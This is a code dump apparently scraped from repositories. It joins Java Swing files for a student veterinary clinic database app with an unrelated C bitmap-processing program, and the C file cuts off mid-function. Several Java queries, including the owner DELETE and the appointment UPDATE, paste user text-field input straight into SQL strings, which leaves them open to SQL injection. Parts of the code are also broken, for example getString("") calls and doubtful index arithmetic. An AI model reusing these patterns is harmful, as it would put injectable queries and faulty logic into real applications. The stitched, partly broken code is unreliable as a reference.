table.setModel(new DefaultTableModel(
new Object[][] {
{"9.00", null, null, null, null, null, null, null},
{"9.30", null, null, null, null, null, null, null},
{"10.00", null, null, null, null, null, null, null},
{"10.30", null, null, null, null, null, null, null},
{"11.00", null, null, null, null, null, null, null},
{"11.30", null, null, null, null, null, null, null},
{"12.00", null, null, null, null, null, null, null},
{"12.30", null, null, null, null, null, null, null},
{"13.00", null, null, null, null, null, null, null},
{"13.30", null, null, null, null, null, null, null},
{"14.00", null, null, null, null, null, null, null},
{"14.30", null, null, null, null, null, null, null},
{"15.00", null, null, null, null, null, null, null},
{"15.30", null, null, null, null, null, null, null},
{"16.00", null, null, null, null, null, null, null},
{"16.30", null, null, null, null, null, null, null},
},
new String[] {
"Time", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"
}
) {
@SuppressWarnings("rawtypes")
Class[] columnTypes = new Class[] {
String.class, String.class, String.class, String.class, String.class, String.class, String.class, String.class
};
@SuppressWarnings({ "unchecked", "rawtypes" })
public Class getColumnClass(int columnIndex) {
return columnTypes[columnIndex];
}
});
scrollPane.setViewportView(table);
JLabel lblSundayIsFor = new JLabel("Sunday is for emergency calls only");
lblSundayIsFor.setBounds(237, 11, 183, 14);
frame.getContentPane().add(lblSundayIsFor);
}
}
<file_sep>/Gui/DeleteOwner.java
package Gui;
import java.awt.EventQueue;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import java.awt.Color;
import javax.swing.JButton;
import net.proteanit.sql.DbUtils;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.sql.Connection;
import java.sql.ResultSet;
import com.mysql.jdbc.PreparedStatement;
import Database.ConnectToDatabase;
import javax.swing.JTable;
import javax.swing.JTextField;
public class DeleteOwner {
protected JFrame frame;
private JTable table;
/**
* Launch the application.
*/
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
DeleteOwner window = new DeleteOwner();
window.frame.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
Connection con = null;
private JTextField textField;
private JTextField textField_1;
private JTextField textField_2;
private JTextField textField_3;
private JTextField textField_4;
private JTextField textField_5;
private JButton btnLoad;
public void refreshTable()
{
try{
String query = "select * from dbuseraccount.Owner";
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ResultSet rs = ps.executeQuery();
table.setModel(DbUtils.resultSetToTableModel(rs));
}catch(Exception ex){
System.out.println(ex);
}
}
/**
* Create the application.
*/
public DeleteOwner()
{
initialize();
con = ConnectToDatabase.dbConnector();
}
/**
* Initialize the contents of the frame.
*/
private void initialize() {
frame = new JFrame();
frame.getContentPane().setBackground(new Color(135, 206, 250));
frame.setBounds(100, 100, 518, 339);
frame.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE);
frame.getContentPane().setLayout(null);
JLabel lblSelectThePerson = new JLabel("Select the Person You wish to delete");
lblSelectThePerson.setBounds(115, 11, 200, 14);
frame.getContentPane().add(lblSelectThePerson);
JLabel lblFname = new JLabel("FName:");
lblFname.setBounds(10, 56, 60, 14);
frame.getContentPane().add(lblFname);
JLabel lblSname = new JLabel("SName:");
lblSname.setBounds(10, 97, 46, 14);
frame.getContentPane().add(lblSname);
JLabel lblAddress = new JLabel("Address:");
lblAddress.setBounds(10, 126, 46, 14);
frame.getContentPane().add(lblAddress);
JLabel lblPhoneNo = new JLabel("Phone No:");
lblPhoneNo.setBounds(10, 203, 50, 14);
frame.getContentPane().add(lblPhoneNo);
textField = new JTextField();
textField.setBounds(73, 56, 86, 20);
frame.getContentPane().add(textField);
textField.setColumns(10);
textField_1 = new JTextField();
textField_1.setBounds(73, 94, 86, 20);
frame.getContentPane().add(textField_1);
textField_1.setColumns(10);
textField_2 = new JTextField();
textField_2.setBounds(73, 123, 86, 20);
frame.getContentPane().add(textField_2);
textField_2.setColumns(10);
textField_3 = new JTextField();
textField_3.setBounds(73, 146, 86, 20);
frame.getContentPane().add(textField_3);
textField_3.setColumns(10);
textField_4 = new JTextField();
textField_4.setBounds(73, 169, 86, 20);
frame.getContentPane().add(textField_4);
textField_4.setColumns(10);
textField_5 = new JTextField();
textField_5.setBounds(73, 200, 86, 20);
frame.getContentPane().add(textField_5);
textField_5.setColumns(10);
table = new JTable();
table = new JTable();
table.addMouseListener(new MouseAdapter() {
@Override
public void mouseClicked(MouseEvent e) {
try{
String query = "select * from dbuseraccount.Owner";
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ResultSet rs = ps.executeQuery();
while (rs.next()){
textField.setText(rs.getString("FName"));
textField_1.setText(rs.getString("SName"));
textField_2.setText(rs.getString("Address"));
textField_3.setText(rs.getString(""));
textField_4.setText(rs.getString(""));
textField_5.setText(rs.getString("PhoneNo"));
}
}catch(Exception ex){
ex.printStackTrace();;
}
}
});
table.setBounds(224, 30, 268, 198);
frame.getContentPane().add(table);
JButton btnDelete = new JButton("Delete");
btnDelete.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
int action = JOptionPane.showConfirmDialog(null, "Are you sure you want to delete user?", "Delete User",JOptionPane.YES_NO_OPTION);
if(action == 0)
{
try{
String query = ("Delete from owner where FName= '"+ textField.getText()+"' " );
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ps.execute();
JOptionPane.showMessageDialog(null, "Data Deleted");
ps.close();
}catch(Exception ex ){
ex.printStackTrace();
}
refreshTable();
}
}
});
btnDelete.setBounds(10, 248, 89, 23);
frame.getContentPane().add(btnDelete);
JButton btnCancel = new JButton("Cancel");
btnCancel.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
frame.dispose();
}
});
btnCancel.setBounds(115, 248, 89, 23);
frame.getContentPane().add(btnCancel);
btnLoad = new JButton("Load");
btnLoad.addActionListener(new ActionListener()
{
//loads the users table from database and displays in the JTable
public void actionPerformed(ActionEvent arg0)
{
try{
String query = "select * from dbuseraccount.owner";
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ResultSet rs = ps.executeQuery();
table.setModel(DbUtils.resultSetToTableModel(rs));
}catch(Exception ex){
System.out.println(ex);
}
}
});
btnLoad.setBounds(309, 248, 89, 23);
frame.getContentPane().add(btnLoad);
}
}
<file_sep>/Heather COmplete/src/Gui/AppointmentGui.java
package Gui;
import java.awt.EventQueue;
import java.text.MessageFormat;
import java.util.Calendar;
import java.util.GregorianCalendar;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
import javax.swing.JTable;
import javax.swing.UIManager;
import net.proteanit.sql.DbUtils;
import Database.ConnectToDatabase;
import com.mysql.jdbc.PreparedStatement;
import java.sql.Connection;
import java.sql.ResultSet;
import javax.swing.JButton;
import java.awt.event.ActionListener;
import java.awt.event.ActionEvent;
import javax.swing.JScrollPane;
import javax.swing.JLabel;
import javax.swing.JTextField;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.print.PrinterException;
import javax.swing.JComboBox;
public class AppointmentGui {
protected JFrame frmAppointment;
public static JButton jbtnLoad;
/**
* Launch the application.
*/
public static void main(String[] args) {
try {
UIManager.setLookAndFeel("javax.swing.plaf.nimbus.NimbusLookAndFeel");
} catch (Throwable e) {
e.printStackTrace();
}
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
AppointmentGui window = new AppointmentGui();
window.frmAppointment.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
public void CurrentDate(){
Calendar cal = new GregorianCalendar();
int month = cal.get(Calendar.MONTH);
int year = cal.get(Calendar.YEAR);
int day = cal.get(Calendar.DAY_OF_MONTH);
lblDate.setText(day+"/"+(month+1)+"/"+year);
}
Connection con = null;
private JTable table;
private JTextField textFieldTime;
private JTextField textFieldDay;
private JTextField textFieldAnimalName;
private JLabel lblPetType;
private JTextField textFieldPetType;
private JLabel lblDate;
private JLabel lblOwnerID;
private JLabel lblInjury;
private JTextField textFieldCustID;
private JTextField textFieldInjury;
private JComboBox<String> comboBox;
private JTextField textFieldVet;
//reloads the database when called
public void refreshTable(){
try{
String query = "select * from dbuseraccount.scheduler";
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ResultSet rs = ps.executeQuery();
table.setModel(DbUtils.resultSetToTableModel(rs));
}catch(Exception ex){
System.out.println(ex);
}
}
//fills the combobox with vets names
public void fillCombo(){
String Vet = "Vet";
try {
String query = "Select firstName from dbuseraccount.users where role='"+Vet+"'";
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ResultSet rs = ps.executeQuery();
while(rs.next()){
String name= rs.getString("firstName");
comboBox.addItem(name);
}
} catch (Exception e) {
// TODO: handle exception
}
}
/**
* Create the application.
*/
public AppointmentGui() {
initialize();
con = ConnectToDatabase.dbConnector();
CurrentDate();
fillCombo();
}
/**
* Initialize the contents of the frame.
*/
private void initialize() {
frmAppointment = new JFrame();
frmAppointment.setTitle("Appointment Schedule");
frmAppointment.setBounds(100, 100, 786, 471);
frmAppointment.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
frmAppointment.getContentPane().setLayout(null);
jbtnLoad = new JButton();
jbtnLoad.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
String date = lblDate.getText();
textFieldDay.setText(date);
//loads the table
try{
String query1 = ("Update scheduler set date= '"+lblDate.getText()+"' ");
PreparedStatement ps1 = (PreparedStatement) con.prepareStatement(query1);
ps1.execute();
JOptionPane.showMessageDialog(null, "Data Updated");
ps1.close();
String query = "select * from dbuseraccount.scheduler";
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ResultSet rs = ps.executeQuery();
table.setModel(DbUtils.resultSetToTableModel(rs));
}catch(Exception ex){
System.out.println(ex);
}
}
});
jbtnLoad.setText("Load Appointments ");
jbtnLoad.setBounds(271, 21, 147, 28);
frmAppointment.getContentPane().add(jbtnLoad);
JScrollPane scrollPane = new JScrollPane();
scrollPane.setBounds(216, 57, 548, 369);
frmAppointment.getContentPane().add(scrollPane);
table = new JTable();
table.addMouseListener(new MouseAdapter() {
@Override
public void mouseClicked(MouseEvent arg0) {
try{
int row = table.getSelectedRow();
String time =(table.getModel().getValueAt(row,0 )).toString();
String query = "select * from dbuseraccount.scheduler where Time= '"+time+"'";
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ResultSet rs = ps.executeQuery();
while (rs.next()){
textFieldTime.setText(rs.getString("Time"));
}
}catch(Exception ex){
ex.printStackTrace();;
}
}
});
scrollPane.setViewportView(table);
JLabel lblTime = new JLabel("Time:");
lblTime.setBounds(6, 57, 91, 28);
frmAppointment.getContentPane().add(lblTime);
textFieldTime = new JTextField();
textFieldTime.setEditable(false);
textFieldTime.setBounds(95, 57, 122, 28);
frmAppointment.getContentPane().add(textFieldTime);
textFieldTime.setColumns(10);
JLabel lblDay = new JLabel("Day:");
lblDay.setBounds(6, 91, 91, 23);
frmAppointment.getContentPane().add(lblDay);
textFieldDay = new JTextField();
textFieldDay.setColumns(10);
textFieldDay.setBounds(95, 88, 122, 28);
frmAppointment.getContentPane().add(textFieldDay);
JLabel lblAnimalID = new JLabel("Animal ID:");
lblAnimalID.setBounds(6, 163, 91, 23);
frmAppointment.getContentPane().add(lblAnimalID);
textFieldAnimalName = new JTextField();
textFieldAnimalName.setColumns(10);
textFieldAnimalName.setBounds(95, 160, 122, 28);
frmAppointment.getContentPane().add(textFieldAnimalName);
lblPetType = new JLabel("Pet Type:");
lblPetType.setBounds(6, 202, 91, 23);
frmAppointment.getContentPane().add(lblPetType);
textFieldPetType = new JTextField();
textFieldPetType.setColumns(10);
textFieldPetType.setBounds(95, 199, 122, 28);
frmAppointment.getContentPane().add(textFieldPetType);
lblDate = new JLabel("Date");
lblDate.setBounds(0, 6, 62, 34);
frmAppointment.getContentPane().add(lblDate);
lblOwnerID = new JLabel("Owner ID:");
lblOwnerID.setBounds(6, 126, 91, 23);
frmAppointment.getContentPane().add(lblOwnerID);
lblInjury = new JLabel("Injury:");
lblInjury.setBounds(6, 250, 91, 23);
frmAppointment.getContentPane().add(lblInjury);
textFieldCustID = new JTextField();
textFieldCustID.setColumns(10);
textFieldCustID.setBounds(95, 123, 122, 28);
frmAppointment.getContentPane().add(textFieldCustID);
textFieldInjury = new JTextField();
textFieldInjury.setColumns(10);
textFieldInjury.setBounds(95, 247, 122, 28);
frmAppointment.getContentPane().add(textFieldInjury);
JButton btnCreateAppointment = new JButton("Create Appointment");
btnCreateAppointment.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
//dbConnector connect = new dbConnector();
//ConnectToDatabase.writeDataAppointment( date,custId,aniId,petType,injury);
int action = JOptionPane.showConfirmDialog(null, "Confirm update", "Update",JOptionPane.YES_NO_OPTION);
if(action ==0)
try{
String query = ("Update scheduler set OwnerID= '"+textFieldCustID.getText()+"' ,AnimalID ='"+textFieldAnimalName.getText()+"' ,Type= '"+textFieldPetType.getText()+"' , Injury= '"+textFieldInjury.getText()+"',Vet= '"+textFieldVet.getText()+"'where Time= '"+textFieldTime.getText()+"'" );
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ps.execute();
JOptionPane.showMessageDialog(null, "Data Updated");
ps.close();
}catch(Exception ex ){
ex.printStackTrace();
}
refreshTable();
}
});
btnCreateAppointment.setBounds(25, 347, 154, 28);
frmAppointment.getContentPane().add(btnCreateAppointment);
textFieldVet = new JTextField();
textFieldVet.setColumns(10);
textFieldVet.setBounds(95, 285, 122, 28);
frmAppointment.getContentPane().add(textFieldVet);
JLabel labelVet = new JLabel("Vet:");
labelVet.setBounds(6, 285, 91, 23);
frmAppointment.getContentPane().add(labelVet);
comboBox = new JComboBox<String>();
comboBox.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
String temp = (String)comboBox.getSelectedItem();
String query = "Select firstName from users where firstName = ?";
try {
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ps.setString(1, temp);
ResultSet rs = ps.executeQuery();
if(rs.next()){
String add = rs.getString("firstName");
textFieldVet.setText(add);
}
} catch (Exception ex) {
// TODO: handle exception
}
}
});
comboBox.setBounds(60, 18, 189, 34);
frmAppointment.getContentPane().add(comboBox);
JButton btnPrint = new JButton("Print");
btnPrint.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
MessageFormat header = new MessageFormat("Daily Schedule: ");
MessageFormat footer = new MessageFormat("Page");// sort pasge number
try {
table.print(JTable.PrintMode.NORMAL, header,footer);
} catch (PrinterException e) {
System.err.format("Cannot Print ", e.getMessage()) ;
}
}
});
btnPrint.setBounds(448, 21, 90, 28);
frmAppointment.getContentPane().add(btnPrint);
}
}
<file_sep>/Heather COmplete/src/Gui/CreateAnimal.java
package Gui;
import java.awt.EventQueue;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JScrollPane;
import javax.swing.JTextField;
import java.awt.Color;
import javax.swing.JButton;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.sql.Connection;
import java.sql.ResultSet;
import Database.ConnectToDatabase;
import net.proteanit.sql.DbUtils;
import javax.swing.UIManager;
import com.mysql.jdbc.PreparedStatement;
import javax.swing.JTable;
public class CreateAnimal {
protected JFrame frame;
protected JTextField textField;
private JTextField textField_1;
private JTextField textField_3;
private JTextField textField_4;
private JTextField textField_2;
/**
* Launch the application.
*/
public static void main(String[] args) {
try {
UIManager.setLookAndFeel("javax.swing.plaf.nimbus.NimbusLookAndFeel");
} catch (Throwable e) {
e.printStackTrace();
}
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
CreateAnimal window = new CreateAnimal();
window.frame.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
/**
* Create the application.
*/
public CreateAnimal() {
initialize();
con = ConnectToDatabase.dbConnector();
}
Connection con = null;
private JTable table;
/**
* Initialize the contents of the frame.
*/
private void initialize() {
frame = new JFrame();
frame.setBackground(Color.LIGHT_GRAY);
frame.setBounds(100, 100, 610, 269);
frame.getContentPane().setLayout(null);
JLabel lblName = new JLabel("Name:");
lblName.setBounds(21, 31, 46, 14);
frame.getContentPane().add(lblName);
textField = new JTextField();
textField.setBounds(91, 24, 122, 28);
frame.getContentPane().add(textField);
textField.setColumns(10);
JLabel lblType = new JLabel("Type:");
lblType.setBounds(21, 68, 46, 14);
frame.getContentPane().add(lblType);
JLabel lblCreateAnimalAccount = new JLabel("Create Animal Account");
lblCreateAnimalAccount.setBounds(175, 3, 125, 14);
frame.getContentPane().add(lblCreateAnimalAccount);
JLabel lblBreed = new JLabel("Breed:");
lblBreed.setBounds(21, 140, 46, 14);
frame.getContentPane().add(lblBreed);
textField_1 = new JTextField();
textField_1.setBounds(91, 133, 125, 28);
frame.getContentPane().add(textField_1);
textField_1.setColumns(10);
JLabel lblGender = new JLabel("Gender:");
lblGender.setBounds(21, 102, 46, 14);
frame.getContentPane().add(lblGender);
textField_3 = new JTextField();
textField_3.setBounds(91, 61, 122, 28);
frame.getContentPane().add(textField_3);
textField_3.setColumns(10);
textField_4 = new JTextField();
textField_4.setBounds(91, 95, 125, 28);
frame.getContentPane().add(textField_4);
textField_4.setColumns(10);
textField_2 = new JTextField();
textField_2.setBounds(91, 167, 122, 28);
frame.getContentPane().add(textField_2);
textField_2.setColumns(10);
JLabel lblOwnerId = new JLabel("Owner ID:");
lblOwnerId.setBounds(21, 173, 70, 16);
frame.getContentPane().add(lblOwnerId);
JButton btnSaveDetails = new JButton("Save Details");
btnSaveDetails.setBounds(31, 201, 119, 23);
btnSaveDetails.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
{
String Name = textField.getText();
String Type = textField_1.getText();
String Gender = textField_4.getText();
String Breed = textField_3.getText();
int OwnerID = Integer.parseInt(textField_2.getText());
if(Name.length() < 1 || Type.length() < 1 || Gender.length() < 1 || Breed.length() < 1)
{
JOptionPane.showMessageDialog(null, "Please enter information into every field", "Enter all information", 0);
}
else
{
//dbConnector connect = new dbConnector();
ConnectToDatabase.writeDataAnimal(Breed, Gender, Name, Type, OwnerID);
JOptionPane.showMessageDialog(null, "User created successfully", "Success.", 0);
frame.dispose();
}
}
}
});
frame.getContentPane().add(btnSaveDetails);
JLabel lblOwnerName = new JLabel("Owner Name:");
lblOwnerName.setBounds(352, 24, 99, 16);
frame.getContentPane().add(lblOwnerName);
JScrollPane scrollPane = new JScrollPane();
scrollPane.setBounds(253, 40, 322, 149);
frame.getContentPane().add(scrollPane);
table = new JTable();
scrollPane.setViewportView(table);
table.addMouseListener(new MouseAdapter() {
@Override
public void mouseClicked(MouseEvent e) {
try{
int row = table.getSelectedRow();
String CustID =(table.getModel().getValueAt(row, 0)).toString();
String query = "select * from dbuseraccount.owner where CustID= '"+ CustID +"' ";
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ResultSet rs = ps.executeQuery();
while (rs.next()){
textField_2.setText(rs.getString("CustID"));
}
}catch(Exception ex){
ex.printStackTrace();;
}
}
});
table.setBounds(248, 119, 193, 70);
frame.getContentPane().add(scrollPane);
JButton btnLoad = new JButton("Load");
btnLoad.setBounds(248, 201, 193, 23);
btnLoad.addActionListener(new ActionListener()
{
//loads the users table from database and displays in the JTable
public void actionPerformed(ActionEvent arg0)
{
try{
String query = "select * from dbuseraccount.owner";
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ResultSet rs = ps.executeQuery();
table.setModel(DbUtils.resultSetToTableModel(rs));
}catch(Exception ex){
System.out.println(ex);
}
}
});
frame.getContentPane().add(btnLoad);
}
}
| 8569e11a9788fcd10de946daf776fdf3b20203f2 | [
"Markdown",
"Java"
] | 13 | Java | chrisWilliams2/TeamProject | 1f5f83599c102822f2ff787a03bac0123e7f0b6b | df04e476191412ea8d914f386e6d8147f9298c80 |
refs/heads/master | <file_sep>/*
* <NAME>
* Winter 2018
*
* Code tested on 32-bit Linux Mint "Cinnamon" per class requirements.
*
* Code issues:
* This code does not allow for the user to put in the wrong size for the image.
* I also did not do any checking for user input other than checking that the
* file opens based off the file name given. It is assumed the user knows what
* they are doing.
*
* Extra credit attempt:
* Outputs a fifth version in grayscale.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define HEADER_SIZE 54 // Bitmap header size
#define PIXEL_COL 3 // Number of columns/pixel
#define MAX_VAL 255 // Max pixel value
#define MID_VAL 128 // Middle pixel value
#define MIN_VAL 0 // Min pixel value
#define CONTRAST_RATIO 2.9695 // Contrast ratio
#define GRAY_RED 0.2126 // Grayscale coefficient for red
#define GRAY_GREEN 0.7152 // Grayscale coefficient for green
#define GRAY_BLUE 0.0722 // Grayscale coefficient for blue
#define FILE_EXT ".bmp" // Extension to add to filename
#define OUT_FILE_1 "copy1.bmp" // Output file for inverted color image
#define OUT_FILE_2 "copy2.bmp" // Output file for increased contrast image
#define OUT_FILE_3 "copy3.bmp" // Output file for mirrored and flipped image
#define OUT_FILE_4 "copy4.bmp" // Output file for scaled and repeated image
#define OUT_FILE_5 "copy5.bmp" // Output file for grayscale image
#define TRUE 1 // Boolean true
#define FALSE 0 // Boolean false
void invertColor(unsigned char*, unsigned char*, int, int, unsigned char*);
void increaseContrast(unsigned char*, unsigned char*,int, int, unsigned char*);
void mirrorFlip(unsigned char*, unsigned char*, int, int, unsigned char*);
void scaleRepeat(unsigned char*, unsigned char*, int, int, unsigned char*);
void grayscale(unsigned char*, unsigned char*, int, int, unsigned char*);
void runOutScanf();
/**
* Driver.
*/
int main(void) {
unsigned char *myOriginal, *myAltered; // Arrays to hold images
unsigned char myHeader[HEADER_SIZE]; // Bitmap header
int myHeight; // Image height
int myWidth; // Image width
int isGoodInfo = FALSE; // Flag to stop asking for user info
/* Get file data */
do {
// Get user info; filename restricted to header size because arbitrary
char myFile[HEADER_SIZE];
// Dialog
printf("Enter the filename: ");
fgets(myFile, HEADER_SIZE, stdin);
// Get rid of newline character
int i = 0;
while (i < strlen(myFile)) {
if (myFile[i] == '\n') {
myFile[i] = myFile[i + 1];
while (i < strlen(myFile)) {
myFile[i] = myFile[i + 1];
i++;
}
}
i++;
}
// Append the file extension for bitmap files
strcat(myFile, FILE_EXT);
printf("Enter height and width (in pixels): ");
scanf("%d%d", &myHeight, &myWidth);
runOutScanf(); // Clear scanf
// Use info to make image array from file
// Pointer for image file
FILE *imageFile;
// Handle error if file not found
if ((imageFile = fopen(myFile, "rb")) == NULL) {
printf("\nThe file could not be opened. Please try again.\n");
isGoodInfo = FALSE; // Still false; repeat
} else {
isGoodInfo = TRUE; // Don't repeat
// Allocate memory for original image array
myOriginal = (unsigned char*)
malloc(myHeight * myWidth * PIXEL_COL * sizeof(char));
// Read file into original image array; close file when done
fread(myHeader, 1, HEADER_SIZE, imageFile);
fread(myOriginal, 1, myHeight * myWidth * PIXEL_COL, imageFile);
fclose(imageFile);
}
} while (isGoodInfo == FALSE);
// Allocation memory for altered image array
myAltered = (unsigned char*)
malloc(myHeight * myWidth * PIXEL_COL * sizeof(char));
/* Alter image and print to file */
// Invert color of image
invertColor(myOriginal, myAltered, myHeight, myWidth, myHeader);
// Increase image contrast
increaseContrast(myOriginal, myAltered, myHeight, myWidth, myHeader);
// Mirror and flip image
mirrorFlip(myOriginal, myAltered, myHeight, myWidth, myHeader);
// Grayscale image
grayscale(myOriginal, myAltered, myHeight, myWidth, myHeader);
// Scale and repeat image
scaleRepeat(myOriginal, myAltered, myHeight, myWidth, myHeader);
// Print final message when done
printf("\nDone. Check the generated images.\n");
free(myOriginal);
free(myAltered);
}
/*******************************************************************************
* Image altering methods begin.
******************************************************************************/
/**
* Inverts image colors.
* @param theImage address to the image array
* @param theAltered address to store the altered version of image in
*/
void invertColor(unsigned char *theImage, unsigned char *theAltered,
int theHeight, int theWidth, unsigned char *theHeader) {
int rowWidth = theWidth * PIXEL_COL; // To avoid constantly calculating this
int row = 0;
int col = 0;
short temp; // Use a short so doesn't wrap if outside char range
for (row = 0; row < theHeight; row++) {
for (col = 0; col < rowWidth; col++) {
// Calculate new color value
temp = MAX_VAL - theImage[row * rowWidth + col];
// Bounds check; store correct value
if (temp < MIN_VAL) {
theAltered[row * rowWidth + col] = MIN_VAL;
} else if (temp > MAX_VAL) {
theAltered[row * rowWidth + col] = MAX_VAL;
} else {
theAltered[row * rowWidth + col] = (char) temp;
}
}
}
// Pointer to output file
FILE *outputFile;
// Create file and write array to it; give error if problem making file
if ((outputFile = fopen(OUT_FILE_1, "wb")) == NULL) {
printf("\nThe inverted color file could not be created.\n");
} else {
fwrite(theHeader, sizeof(char), HEADER_SIZE, outputFile);
fwrite(theAltered, sizeof(char), theHeight * rowWidth, outputFile);
fclose(outputFile);
}
}
/**
* Increases image contrast.
* @param theImage address to the image array
* @param theAltered address to store the altered version of image in
* @param theHeight image height
* @param theWidth image width
* @param theHeader address to the header for the bitmap file
*/
void increaseContrast(unsigned char *theImage, unsigned char *theAltered,
int theHeight, int theWidth, unsigned char *theHeader) {
int rowWidth = theWidth * PIXEL_COL; // To avoid constantly calculating this
int row = 0;
int col = 0;
short temp;
for (row = 0; row < theHeight; row++) {
for (col = 0; col < rowWidth; col++) {
// Calculate and store value temporarily
temp = (CONTRAST_RATIO *
((short) theImage[row * rowWidth + col] - MID_VAL)) + MID_VAL;
// Range check and store correct value
if (temp < MIN_VAL) {
theAltered[row * rowWidth + col] = MIN_VAL;
} else if (temp > MAX_VAL) {
theAltered[row * rowWidth + col] = MAX_VAL;
} else {
theAltered[row * rowWidth + col] = (unsigned char) temp;
}
}
}
// Pointer to output file
FILE *outputFile;
// Create file and write array to it; give error if problem making file
if ((outputFile = fopen(OUT_FILE_2, "wb")) == NULL) {
printf("\nThe increased contrast file could not be created.\n");
} else {
fwrite(theHeader, sizeof(char), HEADER_SIZE, outputFile);
fwrite(theAltered, sizeof(char), theHeight * rowWidth, outputFile);
fclose(outputFile);
}
}
/**
* Mirrors image vertically and flips image horizontally.
*
* @param theImage address to the image array
* @param theAltered address to store the altered version of image in
* @param theHeight image height
* @param theWidth image width
* @param theHeader address to the header for the bitmap file
*/
void mirrorFlip(unsigned char *theImage, unsigned char *theAltered,
int theHeight, int theWidth, unsigned char *theHeader) {
int rowWidth = theWidth * PIXEL_COL; // To avoid constantly calculating this
int row = 0;
int col = 1;
for (row = 0; row < theHeight; row++) {
for (col = 1; col <= (theWidth / 2) * PIXEL_COL; col += PIXEL_COL) {
// Blue
theAltered[(theHeight - row - 1) * rowWidth + (col - 1)]
= theImage[row * rowWidth + (col - 1)];
theAltered[(theHeight - row - 1) * rowWidth + (rowWidth - 2 - col)]
= theImage[row * rowWidth + (col - 1)];
// Green
theAltered[(theHeight - row - 1) * rowWidth + col]
= theImage[row * rowWidth + col];
theAltered[(theHeight - row - 1) * rowWidth + (rowWidth - 1 - col)]
= theImage[row * rowWidth + col];
// Red
theAltered[(theHeight - row - 1) * rowWidth + (col + 1)]
= theImage[row * rowWidth + (col + 1)];
theAltered[(theHeight - row - 1) * rowWidth + (rowWidth - col)]
= theImage[row * rowWidth + (col + 1)];
}
}
// For odd widths, copy the middle row twice
if ((theWidth / 2 ) % 2 != 0) {
for (row = 0; row < theHeight; row++) {
theAltered[row * rowWidth + ((theWidth / 2) * PIXEL_COL + 1)]
= theAltered[row * rowWidth + ((theWidth / 2) * PIXEL_COL)];
}
}
// Pointer to output file
FILE *outputFile;
// Create file and write array to it; give error if problem making file
if ((outputFile = fopen(OUT_FILE_3, "wb")) == NULL) {
printf("\nThe mirrored and flipped file could not be created.\n");
} else {
fwrite(theHeader, sizeof(char), HEADER_SIZE, outputFile);
fwrite(theAltered, sizeof(char), theHeight * rowWidth, outputFile);
fclose(outputFile);
}
}
/**
* Scales down and repeats image, with different colors represented. This will
* alter the original image array. Create this last so theImage array does
* not need to be returned to the original image state.
*
* @param theImage address to the image array
* @param theAltered address to store the altered version of image in
* @param theHeight image height
* @param theWidth image width
* @param theHeader address to the header for the bitmap file
*/
void scaleRepeat(unsigned char *theImage, unsigned char *theAltered,
int theHeight, int theWidth, unsigned char *theHeader) {
int rowWidth = theWidth * PIXEL_COL; // To avoid constantly calculating this
int row = 0;
int col = 1;
// Scale image down in place
for (row = 0; row < theHeight; row++) {
for (col = 1; col < rowWidth; col += PIXEL_COL) {
if (col % 2 == 0) {
// Blue
theImage[(row / 2) * rowWidth + (((col - 1) / 2 ) - 1)]
= theImage[row * rowWidth + (col - 1)];
// Green
theImage[(row / 2) * rowWidth + ((col / 2) - 1)]
= theImage[row * rowWidth + col];
// Red
theImage[(row / 2) * rowWidth + (col / 2)]
= theImage[row * rowWidth + (col + 1)];
} else {
// Blue
theImage[(row / 2) * rowWidth + ((col - 1) / 2)]
= theImage[row * rowWidth + (col - 1)];
// Green
theImage[(row / 2) * rowWidth + ((col / 2) + 1)]
= theImage[row * rowWidth + col];
// Red
theImage[(row / 2) * rowWidth + (((col + 1) / 2) + 1)]
= theImage[row * rowWidth + (col + 1)];
}
}
}
// Restart index variables
row = 0;
col = 0;
// Repeat by copying scaled down image to the altered array with the correct
// colors from each pixel going to the correct section of the array.
for (row = 0; row < theHeight / 2; row++) {
for (col = 0; col < rowWidth / 2; col++) {
// Red portion of pixel goes to upper left
// Red portion of pixel in upper right, lower left --> 0
if (col % PIXEL_COL == 2) {
theAltered[(row + (theHeight / 2)) * rowWidth + col]
= theImage[row * rowWidth + col];
theAltered[row * rowWidth + col] = MIN_VAL;
theAltered[(row + (theHeight / 2)) * rowWidth + (col + (rowWidth / 2))]
= MIN_VAL;
}
// Green portion of pixel goes to upper right
// Green portion of pixel in upper and lower left --> 0
if (col % PIXEL_COL == 1) {
